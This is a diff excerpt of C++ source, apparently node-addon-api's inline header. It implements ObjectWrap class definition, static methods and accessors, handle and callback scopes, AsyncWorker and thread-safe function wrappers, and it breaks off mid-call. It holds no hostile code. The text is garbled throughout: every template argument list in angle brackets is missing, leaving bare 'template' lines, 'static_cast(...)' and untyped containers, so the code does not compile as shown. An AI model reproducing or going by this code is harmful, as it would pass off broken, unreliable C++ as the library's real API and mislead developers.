ObjectWrap::~ObjectWrap() { + // If the JS object still exists at this point, remove the finalizer added + // through `napi_wrap()`. + if (!IsEmpty()) { + Object object = Value(); + // It is not valid to call `napi_remove_wrap()` with an empty `object`. + // This happens e.g. during garbage collection. + if (!object.IsEmpty() && _construction_failed) { + napi_remove_wrap(Env(), object, nullptr); + } + } +} + +template +inline T* ObjectWrap::Unwrap(Object wrapper) { + void* unwrapped; + napi_status status = napi_unwrap(wrapper.Env(), wrapper, &unwrapped); + NAPI_THROW_IF_FAILED(wrapper.Env(), status, nullptr); + return static_cast(unwrapped); +} + +template +inline Function ObjectWrap::DefineClass( + Napi::Env env, + const char* utf8name, + const size_t props_count, + const napi_property_descriptor* descriptors, + void* data) { + napi_status status; + std::vector props(props_count); + + // We copy the descriptors to a local array because before defining the class + // we must replace static method property descriptors with value property + // descriptors such that the value is a function-valued `napi_value` created + // with `CreateFunction()`. + // + // This replacement could be made for instance methods as well, but V8 aborts + // if we do that, because it expects methods defined on the prototype template + // to have `FunctionTemplate`s. + for (size_t index = 0; index < props_count; index++) { + props[index] = descriptors[index]; + napi_property_descriptor* prop = &props[index]; + if (prop->method == T::StaticMethodCallbackWrapper) { + status = + CreateFunction(env, + utf8name, + prop->method, + static_cast(prop->data), + &(prop->value)); + NAPI_THROW_IF_FAILED(env, status, Function()); + prop->method = nullptr; + prop->data = nullptr; + } else if (prop->method == T::StaticVoidMethodCallbackWrapper) { + status = + CreateFunction(env, + utf8name, + prop->method, + static_cast(prop->data), + &(prop->value)); + NAPI_THROW_IF_FAILED(env, status, Function()); + prop->method = nullptr; + prop->data = nullptr; + } + } + + napi_value value; + status = napi_define_class(env, + utf8name, + NAPI_AUTO_LENGTH, + T::ConstructorCallbackWrapper, + data, + props_count, + props.data(), + &value); + NAPI_THROW_IF_FAILED(env, status, Function()); + + // After defining the class we iterate once more over the property descriptors + // and attach the data associated with accessors and instance methods to the + // newly created JavaScript class. + for (size_t idx = 0; idx < props_count; idx++) { + const napi_property_descriptor* prop = &props[idx]; + + if (prop->getter == T::StaticGetterCallbackWrapper || + prop->setter == T::StaticSetterCallbackWrapper) { + status = Napi::details::AttachData( + env, value, static_cast(prop->data)); + NAPI_THROW_IF_FAILED(env, status, Function()); + } else { + // InstanceWrap::AttachPropData is responsible for attaching the data + // of instance methods and accessors. + T::AttachPropData(env, value, prop); + } + } + + return Function(env, value); +} + +template +inline Function ObjectWrap::DefineClass( + Napi::Env env, + const char* utf8name, + const std::initializer_list>& properties, + void* data) { + return DefineClass( + env, + utf8name, + properties.size(), + reinterpret_cast(properties.begin()), + data); +} + +template +inline Function ObjectWrap::DefineClass( + Napi::Env env, + const char* utf8name, + const std::vector>& properties, + void* data) { + return DefineClass( + env, + utf8name, + properties.size(), + reinterpret_cast(properties.data()), + data); +} + +template +inline ClassPropertyDescriptor ObjectWrap::StaticMethod( + const char* utf8name, + StaticVoidMethodCallback method, + napi_property_attributes attributes, + void* data) { + StaticVoidMethodCallbackData* callbackData = + new StaticVoidMethodCallbackData({method, data}); + + napi_property_descriptor desc = napi_property_descriptor(); + desc.utf8name = utf8name; + desc.method = T::StaticVoidMethodCallbackWrapper; + desc.data = callbackData; + desc.attributes = + static_cast(attributes | napi_static); + return desc; +} + +template +inline ClassPropertyDescriptor ObjectWrap::StaticMethod( + const char* utf8name, + StaticMethodCallback method, + napi_property_attributes attributes, + void* data) { + StaticMethodCallbackData* callbackData = + new StaticMethodCallbackData({method, data}); + + napi_property_descriptor desc = napi_property_descriptor(); + desc.utf8name = utf8name; + desc.method = T::StaticMethodCallbackWrapper; + desc.data = callbackData; + desc.attributes = + static_cast(attributes | napi_static); + return desc; +} + +template +inline ClassPropertyDescriptor ObjectWrap::StaticMethod( + Symbol name, + StaticVoidMethodCallback method, + napi_property_attributes attributes, + void* data) { + StaticVoidMethodCallbackData* callbackData = + new StaticVoidMethodCallbackData({method, data}); + + napi_property_descriptor desc = napi_property_descriptor(); + desc.name = name; + desc.method = T::StaticVoidMethodCallbackWrapper; + desc.data = callbackData; + desc.attributes = + static_cast(attributes | napi_static); + return desc; +} + +template +inline ClassPropertyDescriptor ObjectWrap::StaticMethod( + Symbol name, + StaticMethodCallback method, + napi_property_attributes attributes, + void* data) { + StaticMethodCallbackData* callbackData = + new StaticMethodCallbackData({method, data}); + + napi_property_descriptor desc = napi_property_descriptor(); + desc.name = name; + desc.method = T::StaticMethodCallbackWrapper; + desc.data = callbackData; + desc.attributes = + static_cast(attributes | napi_static); + return desc; +} + +template +template ::StaticVoidMethodCallback method> +inline ClassPropertyDescriptor ObjectWrap::StaticMethod( + const char* utf8name, napi_property_attributes attributes, void* data) { + napi_property_descriptor desc = napi_property_descriptor(); + desc.utf8name = utf8name; + desc.method = details::TemplatedVoidCallback; + desc.data = data; + desc.attributes = + static_cast(attributes | napi_static); + return desc; +} + +template +template ::StaticVoidMethodCallback method> +inline ClassPropertyDescriptor ObjectWrap::StaticMethod( + Symbol name, napi_property_attributes attributes, void* data) { + napi_property_descriptor desc = napi_property_descriptor(); + desc.name = name; + desc.method = details::TemplatedVoidCallback; + desc.data = data; + desc.attributes = + static_cast(attributes | napi_static); + return desc; +} + +template +template ::StaticMethodCallback method> +inline ClassPropertyDescriptor ObjectWrap::StaticMethod( + const char* utf8name, napi_property_attributes attributes, void* data) { + napi_property_descriptor desc = napi_property_descriptor(); + desc.utf8name = utf8name; + desc.method = details::TemplatedCallback; + desc.data = data; + desc.attributes = + static_cast(attributes | napi_static); + return desc; +} + +template +template ::StaticMethodCallback method> +inline ClassPropertyDescriptor ObjectWrap::StaticMethod( + Symbol name, napi_property_attributes attributes, void* data) { + napi_property_descriptor desc = napi_property_descriptor(); + desc.name = name; + desc.method = details::TemplatedCallback; + desc.data = data; + desc.attributes = + static_cast(attributes | napi_static); + return desc; +} + +template +inline ClassPropertyDescriptor ObjectWrap::StaticAccessor( + const char* utf8name, + StaticGetterCallback getter, + StaticSetterCallback setter, + napi_property_attributes attributes, + void* data) { + StaticAccessorCallbackData* callbackData = + new StaticAccessorCallbackData({getter, setter, data}); + + napi_property_descriptor desc = napi_property_descriptor(); + desc.utf8name = utf8name; + desc.getter = getter != nullptr ? T::StaticGetterCallbackWrapper : nullptr; + desc.setter = setter != nullptr ? T::StaticSetterCallbackWrapper : nullptr; + desc.data = callbackData; + desc.attributes = + static_cast(attributes | napi_static); + return desc; +} + +template +inline ClassPropertyDescriptor ObjectWrap::StaticAccessor( + Symbol name, + StaticGetterCallback getter, + StaticSetterCallback setter, + napi_property_attributes attributes, + void* data) { + StaticAccessorCallbackData* callbackData = + new StaticAccessorCallbackData({getter, setter, data}); + + napi_property_descriptor desc = napi_property_descriptor(); + desc.name = name; + desc.getter = getter != nullptr ? T::StaticGetterCallbackWrapper : nullptr; + desc.setter = setter != nullptr ? T::StaticSetterCallbackWrapper : nullptr; + desc.data = callbackData; + desc.attributes = + static_cast(attributes | napi_static); + return desc; +} + +template +template ::StaticGetterCallback getter, + typename ObjectWrap::StaticSetterCallback setter> +inline ClassPropertyDescriptor ObjectWrap::StaticAccessor( + const char* utf8name, napi_property_attributes attributes, void* data) { + napi_property_descriptor desc = napi_property_descriptor(); + desc.utf8name = utf8name; + desc.getter = details::TemplatedCallback; + desc.setter = This::WrapStaticSetter(This::StaticSetterTag()); + desc.data = data; + desc.attributes = + static_cast(attributes | napi_static); + return desc; +} + +template +template ::StaticGetterCallback getter, + typename ObjectWrap::StaticSetterCallback setter> +inline ClassPropertyDescriptor ObjectWrap::StaticAccessor( + Symbol name, napi_property_attributes attributes, void* data) { + napi_property_descriptor desc = napi_property_descriptor(); + desc.name = name; + desc.getter = details::TemplatedCallback; + desc.setter = This::WrapStaticSetter(This::StaticSetterTag()); + desc.data = data; + desc.attributes = + static_cast(attributes | napi_static); + return desc; +} + +template +inline ClassPropertyDescriptor ObjectWrap::StaticValue( + const char* utf8name, + Napi::Value value, + napi_property_attributes attributes) { + napi_property_descriptor desc = napi_property_descriptor(); + desc.utf8name = utf8name; + desc.value = value; + desc.attributes = + static_cast(attributes | napi_static); + return desc; +} + +template +inline ClassPropertyDescriptor ObjectWrap::StaticValue( + Symbol name, Napi::Value value, napi_property_attributes attributes) { + napi_property_descriptor desc = napi_property_descriptor(); + desc.name = name; + desc.value = value; + desc.attributes = + static_cast(attributes | napi_static); + return desc; +} + +template +inline Value ObjectWrap::OnCalledAsFunction( + const Napi::CallbackInfo& callbackInfo) { + NAPI_THROW( + TypeError::New(callbackInfo.Env(), + "Class constructors cannot be invoked without 'new'"), + Napi::Value()); +} + +template +inline void ObjectWrap::Finalize(Napi::Env /*env*/) {} + +template +inline napi_value ObjectWrap::ConstructorCallbackWrapper( + napi_env env, napi_callback_info info) { + napi_value new_target; + napi_status status = napi_get_new_target(env, info, &new_target); + if (status != napi_ok) return nullptr; + + bool isConstructCall = (new_target != nullptr); + if (!isConstructCall) { + return details::WrapCallback( + [&] { return T::OnCalledAsFunction(CallbackInfo(env, info)); }); + } + + napi_value wrapper = details::WrapCallback([&] { + CallbackInfo callbackInfo(env, info); + T* instance = new T(callbackInfo); +#ifdef NAPI_CPP_EXCEPTIONS + instance->_construction_failed = false; +#else + if (callbackInfo.Env().IsExceptionPending()) { + // We need to clear the exception so that removing the wrap might work. + Error e = callbackInfo.Env().GetAndClearPendingException(); + delete instance; + e.ThrowAsJavaScriptException(); + } else { + instance->_construction_failed = false; + } +#endif // NAPI_CPP_EXCEPTIONS + return callbackInfo.This(); + }); + + return wrapper; +} + +template +inline napi_value ObjectWrap::StaticVoidMethodCallbackWrapper( + napi_env env, napi_callback_info info) { + return details::WrapCallback([&] { + CallbackInfo callbackInfo(env, info); + StaticVoidMethodCallbackData* callbackData = + reinterpret_cast(callbackInfo.Data()); + callbackInfo.SetData(callbackData->data); + callbackData->callback(callbackInfo); + return nullptr; + }); +} + +template +inline napi_value ObjectWrap::StaticMethodCallbackWrapper( + napi_env env, napi_callback_info info) { + return details::WrapCallback([&] { + CallbackInfo callbackInfo(env, info); + StaticMethodCallbackData* callbackData = + reinterpret_cast(callbackInfo.Data()); + callbackInfo.SetData(callbackData->data); + return callbackData->callback(callbackInfo); + }); +} + +template +inline napi_value ObjectWrap::StaticGetterCallbackWrapper( + napi_env env, napi_callback_info info) { + return details::WrapCallback([&] { + CallbackInfo callbackInfo(env, info); + StaticAccessorCallbackData* callbackData = + reinterpret_cast(callbackInfo.Data()); + callbackInfo.SetData(callbackData->data); + return callbackData->getterCallback(callbackInfo); + }); +} + +template +inline napi_value ObjectWrap::StaticSetterCallbackWrapper( + napi_env env, napi_callback_info info) { + return details::WrapCallback([&] { + CallbackInfo callbackInfo(env, info); + StaticAccessorCallbackData* callbackData = + reinterpret_cast(callbackInfo.Data()); + callbackInfo.SetData(callbackData->data); + callbackData->setterCallback(callbackInfo, callbackInfo[0]); + return nullptr; + }); +} + +template +inline void ObjectWrap::FinalizeCallback(napi_env env, + void* data, + void* /*hint*/) { + HandleScope scope(env); + T* instance = static_cast(data); + instance->Finalize(Napi::Env(env)); + delete instance; +} + +template +template ::StaticSetterCallback method> +inline napi_value ObjectWrap::WrappedMethod( + napi_env env, napi_callback_info info) NAPI_NOEXCEPT { + return details::WrapCallback([&] { + const CallbackInfo cbInfo(env, info); + method(cbInfo, cbInfo[0]); + return nullptr; + }); +} + +//////////////////////////////////////////////////////////////////////////////// +// HandleScope class +//////////////////////////////////////////////////////////////////////////////// + +inline HandleScope::HandleScope(napi_env env, napi_handle_scope scope) + : _env(env), _scope(scope) {} + +inline HandleScope::HandleScope(Napi::Env env) : _env(env) { + napi_status status = napi_open_handle_scope(_env, &_scope); + NAPI_THROW_IF_FAILED_VOID(_env, status); +} + +inline HandleScope::~HandleScope() { + napi_status status = napi_close_handle_scope(_env, _scope); + NAPI_FATAL_IF_FAILED( + status, "HandleScope::~HandleScope", "napi_close_handle_scope"); +} + +inline HandleScope::operator napi_handle_scope() const { + return _scope; +} + +inline Napi::Env HandleScope::Env() const { + return Napi::Env(_env); +} + +//////////////////////////////////////////////////////////////////////////////// +// EscapableHandleScope class +//////////////////////////////////////////////////////////////////////////////// + +inline EscapableHandleScope::EscapableHandleScope( + napi_env env, napi_escapable_handle_scope scope) + : _env(env), _scope(scope) {} + +inline EscapableHandleScope::EscapableHandleScope(Napi::Env env) : _env(env) { + napi_status status = napi_open_escapable_handle_scope(_env, &_scope); + NAPI_THROW_IF_FAILED_VOID(_env, status); +} + +inline EscapableHandleScope::~EscapableHandleScope() { + napi_status status = napi_close_escapable_handle_scope(_env, _scope); + NAPI_FATAL_IF_FAILED(status, + "EscapableHandleScope::~EscapableHandleScope", + "napi_close_escapable_handle_scope"); +} + +inline EscapableHandleScope::operator napi_escapable_handle_scope() const { + return _scope; +} + +inline Napi::Env EscapableHandleScope::Env() const { + return Napi::Env(_env); +} + +inline Value EscapableHandleScope::Escape(napi_value escapee) { + napi_value result; + napi_status status = napi_escape_handle(_env, _scope, escapee, &result); + NAPI_THROW_IF_FAILED(_env, status, Value()); + return Value(_env, result); +} + +#if (NAPI_VERSION > 2) +//////////////////////////////////////////////////////////////////////////////// +// CallbackScope class +//////////////////////////////////////////////////////////////////////////////// + +inline CallbackScope::CallbackScope(napi_env env, napi_callback_scope scope) + : _env(env), _scope(scope) {} + +inline CallbackScope::CallbackScope(napi_env env, napi_async_context context) + : _env(env) { + napi_status status = + napi_open_callback_scope(_env, Object::New(env), context, &_scope); + NAPI_THROW_IF_FAILED_VOID(_env, status); +} + +inline CallbackScope::~CallbackScope() { + napi_status status = napi_close_callback_scope(_env, _scope); + NAPI_FATAL_IF_FAILED( + status, "CallbackScope::~CallbackScope", "napi_close_callback_scope"); +} + +inline CallbackScope::operator napi_callback_scope() const { + return _scope; +} + +inline Napi::Env CallbackScope::Env() const { + return Napi::Env(_env); +} +#endif + +//////////////////////////////////////////////////////////////////////////////// +// AsyncContext class +//////////////////////////////////////////////////////////////////////////////// + +inline AsyncContext::AsyncContext(napi_env env, const char* resource_name) + : AsyncContext(env, resource_name, Object::New(env)) {} + +inline AsyncContext::AsyncContext(napi_env env, + const char* resource_name, + const Object& resource) + : _env(env), _context(nullptr) { + napi_value resource_id; + napi_status status = napi_create_string_utf8( + _env, resource_name, NAPI_AUTO_LENGTH, &resource_id); + NAPI_THROW_IF_FAILED_VOID(_env, status); + + status = napi_async_init(_env, resource, resource_id, &_context); + NAPI_THROW_IF_FAILED_VOID(_env, status); +} + +inline AsyncContext::~AsyncContext() { + if (_context != nullptr) { + napi_async_destroy(_env, _context); + _context = nullptr; + } +} + +inline AsyncContext::AsyncContext(AsyncContext&& other) { + _env = other._env; + other._env = nullptr; + _context = other._context; + other._context = nullptr; +} + +inline AsyncContext& AsyncContext::operator=(AsyncContext&& other) { + _env = other._env; + other._env = nullptr; + _context = other._context; + other._context = nullptr; + return *this; +} + +inline AsyncContext::operator napi_async_context() const { + return _context; +} + +inline Napi::Env AsyncContext::Env() const { + return Napi::Env(_env); +} + +//////////////////////////////////////////////////////////////////////////////// +// AsyncWorker class +//////////////////////////////////////////////////////////////////////////////// + +#if NAPI_HAS_THREADS + +inline AsyncWorker::AsyncWorker(const Function& callback) + : AsyncWorker(callback, "generic") {} + +inline AsyncWorker::AsyncWorker(const Function& callback, + const char* resource_name) + : AsyncWorker(callback, resource_name, Object::New(callback.Env())) {} + +inline AsyncWorker::AsyncWorker(const Function& callback, + const char* resource_name, + const Object& resource) + : AsyncWorker( + Object::New(callback.Env()), callback, resource_name, resource) {} + +inline AsyncWorker::AsyncWorker(const Object& receiver, + const Function& callback) + : AsyncWorker(receiver, callback, "generic") {} + +inline AsyncWorker::AsyncWorker(const Object& receiver, + const Function& callback, + const char* resource_name) + : AsyncWorker( + receiver, callback, resource_name, Object::New(callback.Env())) {} + +inline AsyncWorker::AsyncWorker(const Object& receiver, + const Function& callback, + const char* resource_name, + const Object& resource) + : _env(callback.Env()), + _receiver(Napi::Persistent(receiver)), + _callback(Napi::Persistent(callback)), + _suppress_destruct(false) { + napi_value resource_id; + napi_status status = napi_create_string_latin1( + _env, resource_name, NAPI_AUTO_LENGTH, &resource_id); + NAPI_THROW_IF_FAILED_VOID(_env, status); + + status = napi_create_async_work(_env, + resource, + resource_id, + OnAsyncWorkExecute, + OnAsyncWorkComplete, + this, + &_work); + NAPI_THROW_IF_FAILED_VOID(_env, status); +} + +inline AsyncWorker::AsyncWorker(Napi::Env env) : AsyncWorker(env, "generic") {} + +inline AsyncWorker::AsyncWorker(Napi::Env env, const char* resource_name) + : AsyncWorker(env, resource_name, Object::New(env)) {} + +inline AsyncWorker::AsyncWorker(Napi::Env env, + const char* resource_name, + const Object& resource) + : _env(env), _receiver(), _callback(), _suppress_destruct(false) { + napi_value resource_id; + napi_status status = napi_create_string_latin1( + _env, resource_name, NAPI_AUTO_LENGTH, &resource_id); + NAPI_THROW_IF_FAILED_VOID(_env, status); + + status = napi_create_async_work(_env, + resource, + resource_id, + OnAsyncWorkExecute, + OnAsyncWorkComplete, + this, + &_work); + NAPI_THROW_IF_FAILED_VOID(_env, status); +} + +inline AsyncWorker::~AsyncWorker() { + if (_work != nullptr) { + napi_delete_async_work(_env, _work); + _work = nullptr; + } +} + +inline void AsyncWorker::Destroy() { + delete this; +} + +inline AsyncWorker::operator napi_async_work() const { + return _work; +} + +inline Napi::Env AsyncWorker::Env() const { + return Napi::Env(_env); +} + +inline void AsyncWorker::Queue() { + napi_status status = napi_queue_async_work(_env, _work); + NAPI_THROW_IF_FAILED_VOID(_env, status); +} + +inline void AsyncWorker::Cancel() { + napi_status status = napi_cancel_async_work(_env, _work); + NAPI_THROW_IF_FAILED_VOID(_env, status); +} + +inline ObjectReference& AsyncWorker::Receiver() { + return _receiver; +} + +inline FunctionReference& AsyncWorker::Callback() { + return _callback; +} + +inline void AsyncWorker::SuppressDestruct() { + _suppress_destruct = true; +} + +inline void AsyncWorker::OnOK() { + if (!_callback.IsEmpty()) { + _callback.Call(_receiver.Value(), GetResult(_callback.Env())); + } +} + +inline void AsyncWorker::OnError(const Error& e) { + if (!_callback.IsEmpty()) { + _callback.Call(_receiver.Value(), + std::initializer_list{e.Value()}); + } +} + +inline void AsyncWorker::SetError(const std::string& error) { + _error = error; +} + +inline std::vector AsyncWorker::GetResult(Napi::Env /*env*/) { + return {}; +} +// The OnAsyncWorkExecute method receives an napi_env argument. However, do NOT +// use it within this method, as it does not run on the JavaScript thread and +// must not run any method that would cause JavaScript to run. In practice, +// this means that almost any use of napi_env will be incorrect. +inline void AsyncWorker::OnAsyncWorkExecute(napi_env env, void* asyncworker) { + AsyncWorker* self = static_cast(asyncworker); + self->OnExecute(env); +} +// The OnExecute method receives an napi_env argument. However, do NOT +// use it within this method, as it does not run on the JavaScript thread and +// must not run any method that would cause JavaScript to run. In practice, +// this means that almost any use of napi_env will be incorrect. +inline void AsyncWorker::OnExecute(Napi::Env /*DO_NOT_USE*/) { +#ifdef NAPI_CPP_EXCEPTIONS + try { + Execute(); + } catch (const std::exception& e) { + SetError(e.what()); + } +#else // NAPI_CPP_EXCEPTIONS + Execute(); +#endif // NAPI_CPP_EXCEPTIONS +} + +inline void AsyncWorker::OnAsyncWorkComplete(napi_env env, + napi_status status, + void* asyncworker) { + AsyncWorker* self = static_cast(asyncworker); + self->OnWorkComplete(env, status); +} +inline void AsyncWorker::OnWorkComplete(Napi::Env /*env*/, napi_status status) { + if (status != napi_cancelled) { + HandleScope scope(_env); + details::WrapCallback([&] { + if (_error.size() == 0) { + OnOK(); + } else { + OnError(Error::New(_env, _error)); + } + return nullptr; + }); + } + if (!_suppress_destruct) { + Destroy(); + } +} + +#endif // NAPI_HAS_THREADS + +#if (NAPI_VERSION > 3 && NAPI_HAS_THREADS) +//////////////////////////////////////////////////////////////////////////////// +// TypedThreadSafeFunction class +//////////////////////////////////////////////////////////////////////////////// + +// Starting with NAPI 5, the JavaScript function `func` parameter of +// `napi_create_threadsafe_function` is optional. +#if NAPI_VERSION > 4 +// static, with Callback [missing] Resource [missing] Finalizer [missing] +template +template +inline TypedThreadSafeFunction +TypedThreadSafeFunction::New( + napi_env env, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context) { + TypedThreadSafeFunction tsfn; + + napi_status status = + napi_create_threadsafe_function(env, + nullptr, + nullptr, + String::From(env, resourceName), + maxQueueSize, + initialThreadCount, + nullptr, + nullptr, + context, + CallJsInternal, + &tsfn._tsfn); + if (status != napi_ok) { + NAPI_THROW_IF_FAILED( + env, status, TypedThreadSafeFunction()); + } + + return tsfn; +} + +// static, with Callback [missing] Resource [passed] Finalizer [missing] +template +template +inline TypedThreadSafeFunction +TypedThreadSafeFunction::New( + napi_env env, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context) { + TypedThreadSafeFunction tsfn; + + napi_status status = + napi_create_threadsafe_function(env, + nullptr, + resource, + String::From(env, resourceName), + maxQueueSize, + initialThreadCount, + nullptr, + nullptr, + context, + CallJsInternal, + &tsfn._tsfn); + if (status != napi_ok) { + NAPI_THROW_IF_FAILED( + env, status, TypedThreadSafeFunction()); + } + + return tsfn; +} + +// static, with Callback [missing] Resource [missing] Finalizer [passed] +template +template +inline TypedThreadSafeFunction +TypedThreadSafeFunction::New( + napi_env env, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context, + Finalizer finalizeCallback, + FinalizerDataType* data) { + TypedThreadSafeFunction tsfn; + + auto* finalizeData = new details:: + ThreadSafeFinalize( + {data, finalizeCallback}); + napi_status status = napi_create_threadsafe_function( + env, + nullptr, + nullptr, + String::From(env, resourceName), + maxQueueSize, + initialThreadCount, + finalizeData, + details::ThreadSafeFinalize:: + FinalizeFinalizeWrapperWithDataAndContext, + context, + CallJsInternal, + &tsfn._tsfn); + if (status != napi_ok) { + delete finalizeData; + NAPI_THROW_IF_FAILED( + env, status, TypedThreadSafeFunction()); + } + + return tsfn; +} + +// static, with Callback [missing] Resource [passed] Finalizer [passed] +template +template +inline TypedThreadSafeFunction +TypedThreadSafeFunction::New( + napi_env env, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context, + Finalizer finalizeCallback, + FinalizerDataType* data) { + TypedThreadSafeFunction tsfn; + + auto* finalizeData = new details:: + ThreadSafeFinalize( + {data, finalizeCallback}); + napi_status status = napi_create_threadsafe_function( + env, + nullptr, + resource, + String::From(env, resourceName), + maxQueueSize, + initialThreadCount, + finalizeData, + details::ThreadSafeFinalize:: + FinalizeFinalizeWrapperWithDataAndContext, + context, + CallJsInternal, + &tsfn._tsfn); + if (status != napi_ok) { + delete finalizeData; + NAPI_THROW_IF_FAILED( + env, status, TypedThreadSafeFunction()); + } + + return tsfn; +} +#endif + +// static, with Callback [passed] Resource [missing] Finalizer [missing] +template +template +inline TypedThreadSafeFunction +TypedThreadSafeFunction::New( + napi_env env, + const Function& callback, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context) { + TypedThreadSafeFunction tsfn; + + napi_status status = + napi_create_threadsafe_function(env, + callback, + nullptr, + String::From(env, resourceName), + maxQueueSize, + initialThreadCount, + nullptr, + nullptr, + context, + CallJsInternal, + &tsfn._tsfn); + if (status != napi_ok) { + NAPI_THROW_IF_FAILED( + env, status, TypedThreadSafeFunction()); + } + + return tsfn; +} + +// static, with Callback [passed] Resource [passed] Finalizer [missing] +template +template +inline TypedThreadSafeFunction +TypedThreadSafeFunction::New( + napi_env env, + const Function& callback, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context) { + TypedThreadSafeFunction tsfn; + + napi_status status = + napi_create_threadsafe_function(env, + callback, + resource, + String::From(env, resourceName), + maxQueueSize, + initialThreadCount, + nullptr, + nullptr, + context, + CallJsInternal, + &tsfn._tsfn); + if (status != napi_ok) { + NAPI_THROW_IF_FAILED( + env, status, TypedThreadSafeFunction()); + } + + return tsfn; +} + +// static, with Callback [passed] Resource [missing] Finalizer [passed] +template +template +inline TypedThreadSafeFunction +TypedThreadSafeFunction::New( + napi_env env, + const Function& callback, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context, + Finalizer finalizeCallback, + FinalizerDataType* data) { + TypedThreadSafeFunction tsfn; + + auto* finalizeData = new details:: + ThreadSafeFinalize( + {data, finalizeCallback}); + napi_status status = napi_create_threadsafe_function( + env, + callback, + nullptr, + String::From(env, resourceName), + maxQueueSize, + initialThreadCount, + finalizeData, + details::ThreadSafeFinalize:: + FinalizeFinalizeWrapperWithDataAndContext, + context, + CallJsInternal, + &tsfn._tsfn); + if (status != napi_ok) { + delete finalizeData; + NAPI_THROW_IF_FAILED( + env, status, TypedThreadSafeFunction()); + } + + return tsfn; +} + +// static, with: Callback [passed] Resource [passed] Finalizer [passed] +template +template +inline TypedThreadSafeFunction +TypedThreadSafeFunction::New( + napi_env env, + CallbackType callback, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context, + Finalizer finalizeCallback, + FinalizerDataType* data) { + TypedThreadSafeFunction tsfn; + + auto* finalizeData = new details:: + ThreadSafeFinalize( + {data, finalizeCallback}); + napi_status status = napi_create_threadsafe_function( + env, + details::DefaultCallbackWrapper< + CallbackType, + TypedThreadSafeFunction>(env, + callback), + resource, + String::From(env, resourceName), + maxQueueSize, + initialThreadCount, + finalizeData, + details::ThreadSafeFinalize:: + FinalizeFinalizeWrapperWithDataAndContext, + context, + CallJsInternal, + &tsfn._tsfn); + if (status != napi_ok) { + delete finalizeData; + NAPI_THROW_IF_FAILED( + env, status, TypedThreadSafeFunction()); + } + + return tsfn; +} + +template +inline TypedThreadSafeFunction:: + TypedThreadSafeFunction() + : _tsfn() {} + +template +inline TypedThreadSafeFunction:: + TypedThreadSafeFunction(napi_threadsafe_function tsfn) + : _tsfn(tsfn) {} + +template +inline TypedThreadSafeFunction:: +operator napi_threadsafe_function() const { + return _tsfn; +} + +template +inline napi_status +TypedThreadSafeFunction::BlockingCall( + DataType* data) const { + return napi_call_threadsafe_function(_tsfn, data, napi_tsfn_blocking); +} + +template +inline napi_status +TypedThreadSafeFunction::NonBlockingCall( + DataType* data) const { + return napi_call_threadsafe_function(_tsfn, data, napi_tsfn_nonblocking); +} + +template +inline void TypedThreadSafeFunction::Ref( + napi_env env) const { + if (_tsfn != nullptr) { + napi_status status = napi_ref_threadsafe_function(env, _tsfn); + NAPI_THROW_IF_FAILED_VOID(env, status); + } +} + +template +inline void TypedThreadSafeFunction::Unref( + napi_env env) const { + if (_tsfn != nullptr) { + napi_status status = napi_unref_threadsafe_function(env, _tsfn); + NAPI_THROW_IF_FAILED_VOID(env, status); + } +} + +template +inline napi_status +TypedThreadSafeFunction::Acquire() const { + return napi_acquire_threadsafe_function(_tsfn); +} + +template +inline napi_status +TypedThreadSafeFunction::Release() const { + return napi_release_threadsafe_function(_tsfn, napi_tsfn_release); +} + +template +inline napi_status +TypedThreadSafeFunction::Abort() const { + return napi_release_threadsafe_function(_tsfn, napi_tsfn_abort); +} + +template +inline ContextType* +TypedThreadSafeFunction::GetContext() const { + void* context; + napi_status status = napi_get_threadsafe_function_context(_tsfn, &context); + NAPI_FATAL_IF_FAILED(status, + "TypedThreadSafeFunction::GetContext", + "napi_get_threadsafe_function_context"); + return static_cast(context); +} + +// static +template +void TypedThreadSafeFunction::CallJsInternal( + napi_env env, napi_value jsCallback, void* context, void* data) { + details::CallJsWrapper( + env, jsCallback, context, data); +} + +#if NAPI_VERSION == 4 +// static +template +Napi::Function +TypedThreadSafeFunction::EmptyFunctionFactory( + Napi::Env env) { + return Napi::Function::New(env, [](const CallbackInfo& cb) {}); +} + +// static +template +Napi::Function +TypedThreadSafeFunction::FunctionOrEmpty( + Napi::Env env, Napi::Function& callback) { + if (callback.IsEmpty()) { + return EmptyFunctionFactory(env); + } + return callback; +} + +#else +// static +template +std::nullptr_t +TypedThreadSafeFunction::EmptyFunctionFactory( + Napi::Env /*env*/) { + return nullptr; +} + +// static +template +Napi::Function +TypedThreadSafeFunction::FunctionOrEmpty( + Napi::Env /*env*/, Napi::Function& callback) { + return callback; +} + +#endif + +//////////////////////////////////////////////////////////////////////////////// +// ThreadSafeFunction class +//////////////////////////////////////////////////////////////////////////////// + +// static +template +inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, + const Function& callback, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount) { + return New( + env, callback, Object(), resourceName, maxQueueSize, initialThreadCount); +} + +// static +template +inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, + const Function& callback, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context) { + return New(env, + callback, + Object(), + resourceName, + maxQueueSize, + initialThreadCount, + context); +} + +// static +template +inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, + const Function& callback, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + Finalizer finalizeCallback) { + return New(env, + callback, + Object(), + resourceName, + maxQueueSize, + initialThreadCount, + finalizeCallback); +} + +// static +template +inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, + const Function& callback, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + Finalizer finalizeCallback, + FinalizerDataType* data) { + return New(env, + callback, + Object(), + resourceName, + maxQueueSize, + initialThreadCount, + finalizeCallback, + data); +} + +// static +template +inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, + const Function& callback, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context, + Finalizer finalizeCallback) { + return New(env, + callback, + Object(), + resourceName, + 